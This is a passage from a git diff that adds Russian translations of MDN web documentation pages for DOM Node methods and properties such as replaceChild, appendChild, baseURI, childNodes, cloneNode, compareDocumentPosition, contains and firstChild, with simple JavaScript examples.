+ </tbody>
+</table>
+</div>
+
+<h3 id="Заметки_для_Gecko"><span class="short_text" id="result_box" lang="ru"><span class="hps">Заметки для Gecko</span></span></h3>
+
+<ul>
+ <li>Сетевое API может быть отключено с помощьюc <code>dom.network.enabled</code>.</li>
+ <li>Как и в Gecko 12.0, сетевое API реализованно только для Android. Поддержка для Linux ({{ bug("712442") }}) и Windows ({{ bug("721306") }}) систем находится в процессе разработки.</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/WebAPI/Network_Information" title="/en-US/docs/WebAPI/Network_Information">Информация о API сети.</a></li>
+ <li><a href="/en/Online_and_offline_events" title="en/Online_and_offline_events">Онлайн и оффлайн события.</a></li>
+ <li>Интерфейс {{domxref("Navigator")}} который реализует его.</li>
+</ul>
diff --git a/files/ru/web/api/node.replacechild/index.html b/files/ru/web/api/node.replacechild/index.html
new file mode 100644
index 0000000000..6d69392c57
--- /dev/null
+++ b/files/ru/web/api/node.replacechild/index.html
@@ -0,0 +1,64 @@
+---
+title: Node.replaceChild
+slug: Web/API/Node.replaceChild
+tags:
+  - API
+  - DOM
+  - DOM Elements Method
+  - Gecko
+  - Method
+  - Node
+translation_of: Web/API/Node/replaceChild
+---
+<div>
+ {{ApiRef}}</div>
+<h2 id="Summary" name="Summary">Аннотация</h2>
+<p>Заменяет дочерний элемент на выбранный. Возвращает замененный элемент.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><em>replacedNode</em> = <em>parentNode</em>.replaceChild(<em>newChild</em>, <em>oldChild</em>);
+</pre>
+<ul>
+ <li><code>newChild</code> элемент на который будет заменен <code>oldChild</code>. В случает если он уже есть в DOM, то сначала он будет удален.</li>
+ <li><code>oldChild</code> элемент который будет заменен.</li>
+ <li><code>replacedNode</code> замененный элемент. Тоже самое что и <code>oldChild</code>.</li>
+</ul>
+<h2 id="Example" name="Example">Пример</h2>
+<pre class="brush:js">// &lt;div&gt;
+//  &lt;span id="childSpan"&gt;foo bar&lt;/span&gt;
+// &lt;/div&gt;
+
+// Создаем новый пустой элемент
+// without an ID, any attributes, or any content
+var sp1 = document.createElement("span");
+
+// Присваиваем ему id 'newSpan'
+sp1.setAttribute("id", "newSpan");
+
+// Создаем строку.
+var sp1_content = document.createTextNode("new replacement span element.");
+
+// Добавляем контент в созданный нами узел
+sp1.appendChild(sp1_content);
+
+// создаем ссылку на существующий элемент который будем заменять
+var sp2 = document.getElementById("childSpan");
+var parentDiv = sp2.parentNode;
+
+// заменяем существующий элемент sp2 на созданный нами sp1
+parentDiv.replaceChild(sp1, sp2);
+
+// Результат:
+// &lt;div&gt;
+//   &lt;span id="newSpan"&gt;new replacement span element.&lt;/span&gt;
+// &lt;/div&gt;
+</pre>
+<h2 id="Specification" name="Specification">Спецификация</h2>
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#method-replaceChild">DOM Level 1 Core: replaceChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-785887307">DOM Level 2 Core: replaceChild</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-785887307">DOM Level 3 Core: replaceChild</a></li>
+</ul>
+<h2 id="See_also" name="See_also">См. также</h2>
+<ul>
+ <li>{{domxref("Node.removeChild")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/appendchild/index.html b/files/ru/web/api/node/appendchild/index.html
new file mode 100644
index 0000000000..50af4e38da
--- /dev/null
+++ b/files/ru/web/api/node/appendchild/index.html
@@ -0,0 +1,60 @@
+---
+title: Node.appendChild
+slug: Web/API/Node/appendChild
+tags:
+  - API
+  - DOM
+  - DOM Element Mehods
+  - Method
+  - WebAPI
+translation_of: Web/API/Node/appendChild
+---
+<h2 id="Summary" name="Summary">Аннотация</h2>
+
+<p><code><strong>Node.appendChild()</strong></code> добавляет узел в конец списка дочерних элементов указанного родительского узла. Если данный дочерний элемент является ссылкой на существующий узел в документе, то функция <code>appendChild()</code> перемещает его из текущей позиции в новую позицию (нет необходимости удалять узел из родительского узла перед добавлением его к какому-либо другому узлу).</p>
+
+<p>Это означает, что узел не может находиться в двух точках документа одновременно. Поэтому, если у узла уже есть родитель, он сначала удаляется, а затем добавляется в новую позицию. {{domxref("Node.cloneNode()")}} можно использовать для создания копии узла перед добавлением его в новый родительский элемент. Обратите внимание, что копии, сделанные с помощью <code>cloneNode</code> , не будут автоматически синхронизироваться.</p>
+
+<p>Если данный дочерний элемент является {{domxref("DocumentFragment")}}, то все содержимое {{domxref("DocumentFragment")}} перемещается в дочерний список указанного родительского узла.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var child = <em>element</em>.appendChild(<em>child</em>);</pre>
+
+<ul>
+ <li><code>element</code> родительский <a href="/en-US/docs/DOM/element" title="/en-US/docs/DOM/element">элемент</a>.</li>
+ <li><code>child</code> это элемент вставляется в конец <code>element</code>.</li>
+</ul>
+
+<h3 id="Returns" name="Returns">Возвращаемое значение</h3>
+
+<p>Возвращается дочерний элемент (<code><var>aChild</var></code>), кроме тех случаев, когда <code><var>child</var></code> это {{domxref("DocumentFragment")}}, в таком случае возвращается пустой {{domxref("DocumentFragment")}}.</p>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p>Цепочка может работать не так, как ожидалось, из-за того, что <code>appendChild()</code> возвращает дочерний элемент:</p>
+
+<pre class="brush: js notranslate">let aBlock = document.createElement('block').appendChild( document.createElement('b') );</pre>
+
+<p>Присваивает переменной <code>aBlock</code> элемент <code>&lt;b&gt;&lt;/b&gt;</code>, а не <code>&lt;block&gt;&lt;/block&gt;</code>, как вы могли ожидать.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js notranslate">// Создаем новый элемент параграфа, и вставляем в конец document body
+var p = document.createElement("p");
+document.body.appendChild(p);</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-184E7107" title="http://www.w3.org/TR/DOM-Level-3-Core/core.html#ID-184E7107">DOM Level 3 Core: appendChild</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild")}}</li>
+ <li>{{domxref("Node.replaceChild")}}</li>
+ <li>{{domxref("Node.insertBefore")}}</li>
+ <li>{{domxref("Node.hasChildNodes")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/baseuri/index.html b/files/ru/web/api/node/baseuri/index.html
new file mode 100644
index 0000000000..fad808069b
--- /dev/null
+++ b/files/ru/web/api/node/baseuri/index.html
@@ -0,0 +1,62 @@
+---
+title: Node.baseURI
+slug: Web/API/Node/baseURI
+translation_of: Web/API/Node/baseURI
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p> Свойство <code><strong>Node.baseURI</strong></code> только для чтения, возвращающее абсолютный базовый URL узла.</p>
+
+<p>Базовый URL используется для <a href="http://developers.whatwg.org/urls.html#resolving-urls">разрешения</a> относительных URLs, когда браузеру  нужно получить абсолютный URL, например, когда обрабатывает элемент HTML {{HTMLElement("img")}}, <code>src</code> атрибут или XML <code><a href="/en-US/docs/XLink">xlink</a>:href</code> атрибут.</p>
+
+<p>В самом простом случае, базовывый URL это просто местонахождение документа, но это может зависеть от многих факторов, включая элемент {{HTMLElement("base")}} в HTML и атрибут <code><a href="/en-US/docs/XML/xml:base">xml:base</a></code> в XML.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>baseURI</em> = <em>node</em>.baseURI;
+</pre>
+
+<ul>
+ <li><code>baseURI</code> это {{ domxref("DOMString") }} представляющий базовый URL обусловленный {{domxref("Node")}}. Может быть <code>null</code> если не удалось получить абсолютный URI</li>
+ <li><code><em>node</em>.baseURI</code> только для чтения.</li>
+ <li><code><em>node</em>.baseURI</code> может измениться со временем (с.м. ниже).</li>
+</ul>
+
+<h2 id="Details" name="Details">Подробности</h2>
+
+<h3 id="Базовый_URL_документа">Базовый URL документа</h3>
+
+<p>Базовый URL <em>документа</em> по умолчанию, адрес документа (как отображено в браузере и доступно в {{domxref("window.location")}}), но может измениться по умолчанию:</p>
+
+<ul>
+ <li>Когда HTML {{HTMLElement("base")}} тег найден в документе;</li>
+ <li>Когда этот новый документ создан динамически.</li>
+</ul>
+
+<p>Смотрите <a href="http://developers.whatwg.org/urls.html#base-urls">Раздел базовый URLs в действующем стандарте HTML</a> для уточнения деталей.</p>
+
+<p>Вы можите использовать <code><em>{{domxref("document")}}</em>.baseURI</code> для получения базового URL документа. Заметим, что получение базового URL для документа, может возвращать различные URLs в течение долгого времени, если {{HTMLElement("base")}} теги или местонахождение документа изменилось.</p>
+
+<h3 id="Базовый_URL_элемента">Базовый URL элемента</h3>
+
+<p>Базовый URL <em>элемента</em> в HTML обычно равен базовому URL документу узла.</p>
+
+<p>Если документ содержит атрибуты <code><a href="/en-US/docs/XML/xml:base">xml:base</a></code> (которые вы не должны использовать в документах HTML), <code><em>element</em>.baseURI</code> принимает во внимание <code>xml:base</code> атрибуты родительского элемента, когда вычисляет базовый URL. Для уточнения деталей смотрите <a href="/en-US/docs/XML/xml:base">xml:base</a>.</p>
+
+<p>Вы можите использовать <code><em>{{domxref("element")}}</em>.baseURI</code> для получения базового URL of элемента.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li>{{spec("http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-baseURI","DOM Level 3 Core: baseURI","REC")}}</li>
+</ul>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{HTMLElement("base")}} element (HTML)</li>
+ <li><code><a href="/en-US/docs/XML/xml:base">xml:base</a></code> атрибуты (XML документы).</li>
+ <li>{{domxref("Node.baseURIObject")}} - вариант этого  API для Mozilla дополнений и внутреннего кода. Возвращает базовый URL как {{interface("nsIURI")}}.</li>
+</ul>
diff --git a/files/ru/web/api/node/baseuriobject/index.html b/files/ru/web/api/node/baseuriobject/index.html
new file mode 100644
index 0000000000..b4d34efb85
--- /dev/null
+++ b/files/ru/web/api/node/baseuriobject/index.html
@@ -0,0 +1,25 @@
+---
+title: Node.baseURIObject
+slug: Web/API/Node/baseURIObject
+translation_of: Web/API/Node
+---
+<div>{{APIRef("DOM")}} {{Non-standard_header}}</div>
+
+<p>Свойство <code><strong>Node.baseURIObject</strong></code> возвращает {{Interface("nsIURI")}} представляющий базовый URL узла (обычно документ или элемент). Это похоже на {{domxref("Node.baseURI")}}, за исключением того, что возвращает nsIURI вместо строки.</p>
+
+<p>Это свойство существует на всех узлах (HTML, XUL, SVG, MathML, и т.д.), но только если скрипт пытается использовать его имея привилегии UniversalXPConnect.</p>
+
+<p>Смотрите {{domxref("Node.baseURI")}} для уточнения деталей что такое базовый URL.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><var>uriObj</var> = <em>node</em>.baseURIObject
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Это свойство только для чтения; попытка записать информацию в него, будет сбрасывать исключения. <span id="result_box" lang="ru"><span class="hps">Кроме того,</span> <span class="hps">это свойство может</span> <span class="hps">быть</span> <span class="hps">доступно только для</span> <span class="hps">привилегированного</span> <span class="hps">кода.</span></span></p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<p>Нет какой-либо спецификации.</p>
diff --git a/files/ru/web/api/node/childnodes/index.html b/files/ru/web/api/node/childnodes/index.html
new file mode 100644
index 0000000000..f66b7060b8
--- /dev/null
+++ b/files/ru/web/api/node/childnodes/index.html
@@ -0,0 +1,68 @@
+---
+title: Node.childNodes
+slug: Web/API/Node/childNodes
+translation_of: Web/API/Node/childNodes
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+
+<div><code><font face="Open Sans, sans-serif">Доступный для чтения аттрибут </font><strong>Node.childNodes</strong></code> возвращает <em>коллекцию</em> дочерних элементов данного элемента.</div>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <var>ndList</var> = elementNodeReference.childNodes;
+</pre>
+
+<p><var>ndList</var> -- упорядоченная коллекция объектов элементов, которые являются детьми данного элемента. Если у элемента нет детей, <var>ndList </var>пуст.</p>
+
+<p><var>ndList</var> -- переменная, хранящая список дочерних элементов. Тип этого списка --  {{domxref("NodeList")}}.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">// parg -- ссылка на элемент &lt;p&gt;
+
+if (parg.hasChildNodes()) {
+  // Таким образом, сначала мы проверям, не пуст ли объект, есть ли у него дети
+  var children = parg.childNodes;
+
+  for (var i = 0; i &lt; children.length; ++i) {
+    // сделать что-то с каждым внутренним элементом через children[i]
+    // ЗАМЕТКА: Список является ссылкой, Добавление или удаление дочерних элементов изменит список
+  }
+}</pre>
+
+<hr>
+<pre class="brush:js">// Это один из способов удалить все дочерние элементы из элемента
+// box -- ссылка на элемент с детьми
+
+while (box.firstChild) {
+    //Список является ссылкой, то есть он будет переиндексирован перед каждым вызовом
+    box.removeChild(box.firstChild);
+}</pre>
+
+<h2 id="Notes" name="Notes">Заметки</h2>
+
+<p>Элементы в коллекции -- объекты, а не строки. Чтобы получить данные из этих объектов, вы должны использовать их свойства (например, <code>elementNodeReference.childNodes[1].nodeName</code> чтобы получить имя, и т. д.).</p>
+
+<p>Объект <code>document</code> обладает 2-мя детьми: декларацией Doctype и корневым элементов, к которому как правило обращаются как <code>documentElement</code>. (В (X)HTML документах это HTML-элемент.)</p>
+
+<p><code>childNodes</code> также включают, например, текстовые узлы и комментарии. Чтобы пропустить их, используйте {{ domxref("ParentNode.children") }} взамен.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-1451460987">W3C DOM 2 Core: childNodes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-1451460987">W3C DOM 3 Core: childNodes</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/core.html#ID-536297177">W3C DOM 3 NodeList interface</a></li>
+</ul>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{ domxref("Node.firstChild") }}</li>
+ <li>{{ domxref("Node.lastChild") }}</li>
+ <li>{{ domxref("Node.nextSibling") }}</li>
+ <li>{{ domxref("Node.previousSibling") }}</li>
+ <li>{{ domxref("ParentNode.children") }}</li>
+</ul>
diff --git a/files/ru/web/api/node/clonenode/index.html b/files/ru/web/api/node/clonenode/index.html
new file mode 100644
index 0000000000..5f1f77d5ed
--- /dev/null
+++ b/files/ru/web/api/node/clonenode/index.html
@@ -0,0 +1,135 @@
+---
+title: Node.cloneNode()
+slug: Web/API/Node/cloneNode
+translation_of: Web/API/Node/cloneNode
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Метод <strong><code>Node.cloneNode()</code></strong> возвращает дубликат узла, из которого этот метод был вызван.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em><var>dupNode</var></em> = <em><var>node</var></em>.cloneNode(<em><var>deep</var></em>);
+</pre>
+
+<dl>
+ <dt><em>node</em></dt>
+ <dd>Узел, который будет клонирован.</dd>
+ <dt><em>dupNode</em></dt>
+ <dd>Новый узел, который будет клоном <code>node</code></dd>
+ <dt><em>deep {{optional_inline}}</em></dt>
+ <dd><code>true,</code> если дети узла должны быть клонированы или <code>false</code> для того, чтобы был клонирован только указанный узел.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> в спецификации DOM4 (как реализовано в Gecko 13.0 {{geckoRelease(13)}}), <code>deep</code> необязательный аргумент. Если он опущен, метод действует как если бы значение <code>deep</code> было <strong><code>true</code></strong>, по умолчанию используется глубокое клонирование. Для создания поверхностного клонирования, <code>deep</code> должен быть установлен как <code>false</code>.</p>
+
+<p>Это поведение было изменено в последней спецификации, и если опущено значение, метод будет действовать как если бы <code>deep</code> было <strong><code>false</code></strong>. Хотя, это все еще не обязательно, вы всегда должны обеспечить агрументом <code>deep</code>, для прямой и обратной совместимости. С Gecko 28.0 {{geckoRelease(28)}}), консоль предупреждает разработчиков не опускать аргумент. Начиная с Gecko 29.0 {{geckoRelease(29)}}), поверхностный клон, по умолчанию, вместо глубокого клона.</p>
+</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">    var p = document.getElementById("para1");
+    var p_prime = p.cloneNode(true);
+</pre>
+
+<h2 id="Notes" name="Notes">Примечание</h2>
+
+<p id="not-event-listeners">Клонирование узлов копирует все атрибуты и их значения, в том числе собственных (в линию) перехватчиков. Это не копирует пререхватчики событий, добавленных используя <a href="/en-US/docs/DOM/element.addEventListener" title="/en-US/docs/DOM/element.addEventListener"><code>addEventListener()</code></a> или тех что назначены через свойства элемента (т.е <code>node.onclick = fn</code>).</p>
+
+<p>Дубликат узла, возвращенного <code>cloneNode()</code> не является частью документа, пока не будет добавлен в другой узел, который является частью документа, используя {{domxref("Node.appendChild()")}} или другой метод. Кроме того, не имеет родителя, пока не будет добавлен к другому узлу.</p>
+
+<p><code>Если deep</code> установлен как <code>false</code>, дочерние узлы не клонируются. Любой текст, который содержит узел также не клонируется, как и содержащийся в одном или более дочернем узле {{domxref("Text")}}.</p>
+
+<p>Если <code>deep</code> установлено как <code>true</code>, все поддеревья (включая текст, который может быть потомком узла {{domxref("Text")}}) копируется тоже. Для пустых узлов (т.е {{HTMLElement("img")}} и {{HTMLElement("input")}} элементов) это не имеет значения установлен ли <code>deep</code> как <code>true</code> или <code>false</code>.</p>
+
+<div class="warning"><strong>Внимание:</strong> <code>cloneNode()</code> может привести к дублированию идентфикаторов элементов в документе.</div>
+
+<p>Если исходный узел имеет идентификатор и клон размещен в том же документе, идентификатор должен быть изменен, для того что бы быть уникальным. Имя атрибута также может нуждаться в изменении, <span id="result_box" lang="ru"><span>в зависимости</span> <span class="hps">от</span></span> будущего имени дубликата.</p>
+
+<p>Чтобы клонировать узел для добавления к другому документу используйте {{domxref("Document.importNode()")}} вместо этого.</p>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>deep</code> как необязательный параметр</td>
+   <td>
+    <p>Yes</p>
+
+    <p>(По умолчанию <code>false</code>)</p>
+   </td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td><span style="font-size: 12px; line-height: 18px;">{{CompatVersionUnknown}}</span></td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p>Yes</p>
+
+    <p>(По умолчанию <code>false</code>)</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Свойство</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>deep</code> как необязательный параметр</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<ul>
+ <li>{{Spec("http://w3.org/TR/DOM-Level-2-Core/core.html#ID-3A0ED0A4","DOM Level 2 Core: cloneNode","REC")}}</li>
+ <li>{{Spec("http://w3.org/TR/DOM-Level-3-Core/core.html#ID-3A0ED0A4","DOM Level 3 Core: cloneNode","REC")}}</li>
+ <li><a href="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-node-clonenode" title="http://dvcs.w3.org/hg/domcore/raw-file/tip/Overview.html#dom-node-clonenode">DOM4: cloneNode</a> (черновик)</li>
+</ul>
diff --git a/files/ru/web/api/node/comparedocumentposition/index.html b/files/ru/web/api/node/comparedocumentposition/index.html
new file mode 100644
index 0000000000..0be1dac540
--- /dev/null
+++ b/files/ru/web/api/node/comparedocumentposition/index.html
@@ -0,0 +1,89 @@
+---
+title: Node.compareDocumentPosition
+slug: Web/API/Node/compareDocumentPosition
+translation_of: Web/API/Node/compareDocumentPosition
+---
+<p>{{ ApiRef() }}</p>
+<h2 id="Summary" name="Summary">Аннотация</h2>
+<p>Сравнивает позицию текущего узла и другого узла в любом другом документе.</p>
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox">node.compareDocumentPosition( otherNode )
+</pre>
+<ul>
+ <li><code>node</code> это узел, который сравнивается</li>
+ <li><code>otherNode</code> это узел, с которым идет сравнение.</li>
+</ul>
+<p>Возвращаемое значение вычисляется как отношение, которое имеется между <code>otherNode</code> и <code>node</code>.</p>
+<h2 id="Notes" name="Notes">Примечание</h2>
+<p>Возвращаемое значение - это битовая маска со следующими значениями:</p>
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Имя</th>
+   <th scope="col">Значение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>DOCUMENT_POSITION_DISCONNECTED</code></td>
+   <td>1</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_PRECEDING</code></td>
+   <td>2</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_FOLLOWING</code></td>
+   <td>4</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_CONTAINS</code></td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_CONTAINED_BY</code></td>
+   <td>16</td>
+  </tr>
+  <tr>
+   <td><code>DOCUMENT_POSITION_IMPLEMENTATION_SPECIFIC</code></td>
+   <td>32</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Example" name="Example">Пример</h2>
+<pre class="brush:js">var head = document.getElementsByTagName('head').item(0);
+if (head.compareDocumentPosition(document.body) &amp; Node.DOCUMENT_POSITION_FOLLOWING) {
+  console.log("well-formed document");
+} else {
+  console.log("&lt;head&gt; is not before &lt;body&gt;");
+}
+</pre>
+<div class="note">
+ <p><strong>Замечание:</strong> <em>Из-за того, что результат, возвращаемый </em><code>compareDocumentPosition</code>, является битовой маской, <a href="/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators" title="/en-US/docs/JavaScript/Reference/Operators/Bitwise_Operators">побитовый оператор и</a> должен использоваться для осмысленных значений.</p>
+</div>
+<h2 id="Specification" name="Specification">Спецификации</h2>
+<table>
+ <tbody>
+  <tr>
+   <td>Спецификация</td>
+   <td>Статус</td>
+   <td>Комментарий</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-compareDocumentPosition" title="http://www.w3.org/TR/DOM-Level-3-Core/core.html#Node3-compareDocumentPosition">DOM Level 3</a></td>
+   <td>Рекомендация</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td><a href="http://dom.spec.whatwg.org/#dom-node-comparedocumentposition" title="http://dom.spec.whatwg.org/#dom-node-comparedocumentposition">DOM Standard</a></td>
+   <td>Живой стандарт</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Смотрите_также">Смотрите также</h2>
+<ul>
+ <li><code><a href="/en-US/docs/DOM/Node.contains" title="/en-US/docs/DOM/Node.contains">Node.contains</a></code></li>
+ <li><a href="http://ejohn.org/blog/comparing-document-position/" title="http://ejohn.org/blog/comparing-document-position/">John Resig - Comparing Document Position</a></li>
+</ul>
+<p>{{ languages( {"ru-ru": "ru-ru/DOM/Node.compareDocumentPosition" } ) }}</p>
diff --git a/files/ru/web/api/node/contains/index.html b/files/ru/web/api/node/contains/index.html
new file mode 100644
index 0000000000..23e8e561c7
--- /dev/null
+++ b/files/ru/web/api/node/contains/index.html
@@ -0,0 +1,63 @@
+---
+title: Node.contains
+slug: Web/API/Node/contains
+tags:
+  - API
+  - DOM
+  - Method
+  - Node
+translation_of: Web/API/Node/contains
+---
+<div>{{APIRef("DOM")}}</div>
+
+<div>Метод <strong><code>Node.contains()</code></strong> возвращает {{jsxref ("Boolean")}} значение, указывающее, является ли узел потомком данного узла, т. е. сам узел, один из его прямых потомков ({{domxref ("Node. childNodes "," childNodes ")}}), один из детей его детей и так далее.</div>
+
+<h2 id="Summary" name="Summary">Синтаксис</h2>
+
+<pre class="syntaxbox">node.contains( otherNode )
+</pre>
+
+<ul>
+ <li><code>node</code> элемент который сравнивается.</li>
+ <li><code>otherNode</code> элемент с которым производится сравнение.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Эта функция проверяет, находится ли элемент в теле страницы.</p>
+
+<pre class="brush:js">function isInPage(node) {
+  return (node === document.body) ? false : document.body.contains(node);
+}</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-node-contains", "Node.contains()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.Node.contains")}}</p>
+
+<h2 id="See_also" name="See_also">См. также</h2>
+
+<ul>
+ <li>{{domxref("Node.compareDocumentPosition")}}</li>
+ <li>{{domxref("Node.hasChildNodes")}}</li>
+</ul>
diff --git a/files/ru/web/api/node/firstchild/index.html b/files/ru/web/api/node/firstchild/index.html
new file mode 100644
index 0000000000..b17ea4fb29
--- /dev/null
+++ b/files/ru/web/api/node/firstchild/index.html
@@ -0,0 +1,55 @@
+---
+title: Node.firstChild
+slug: Web/API/Node/firstChild
+translation_of: Web/API/Node/firstChild
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p>Свойство <code><strong>Node.firstChild</strong></code> только для чтения, возвращающее первый потомок узла в древе или <code>null</code>, если узел является бездетным. Если узел это <code>документ</code>, он возвращает первый узел в списке своих прямых детей.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox"><em>var childNode</em> = <em>node</em>.firstChild;
+</pre>
+
+<h2 id="Описание">Описание</h2>
+
+<p><code>childNode</code> это ссылка на первый потомок <code>node,</code> если таковой имеется, в противном случае это <code>null</code>.</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<p>Этот пример демонстрирует использование <code>firstChild</code> и как этому свойству могут мешать пробелы. Смотрите раздел {{ Anch("Notes") }} для получения дополнительной информации о обработке пробелов в Gecko DOM.</p>
+
+<pre class="brush:html">&lt;p id="para-01"&gt;
+  &lt;span&gt;First span&lt;/span&gt;
+&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+&lt;/script&gt;</pre>
+
+<p>В данном примере alert выведет '#text', потому что текстовый узел вставлен для сохранения пробела между концом открытого &lt;p&gt; и тега &lt;span&gt;. <strong>Любое </strong>пустое пространство между элементами является причиной вставки узла #text, начиная от единичного пробела, разрыва строки, отступа и так далее.</p>
+
+<p>Другой #text узел вставляется между закрывающими тегами &lt;/span&gt; и &lt;/p&gt;.</p>
+
+<p>Если эти пробелы удаляются из источника,  #text узлы не вставляются и элемент span становится первым потомком обзаца.</p>
+
+<pre class="brush:html">&lt;p id="para-01"&gt;&lt;span&gt;First span&lt;/span&gt;&lt;/p&gt;
+
+&lt;script type="text/javascript"&gt;
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstChild.nodeName)
+&lt;/script&gt;
+</pre>
+
+<p>Теперь alert будет показывать 'SPAN'.</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-firstChild">DOM Level 1 Core: firstChild</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-169727388">DOM Level 2 Core: firstChild</a></li>
+</ul>
diff --git a/files/ru/web/api/node/getuserdata/index.html b/files/ru/web/api/node/getuserdata/index.html
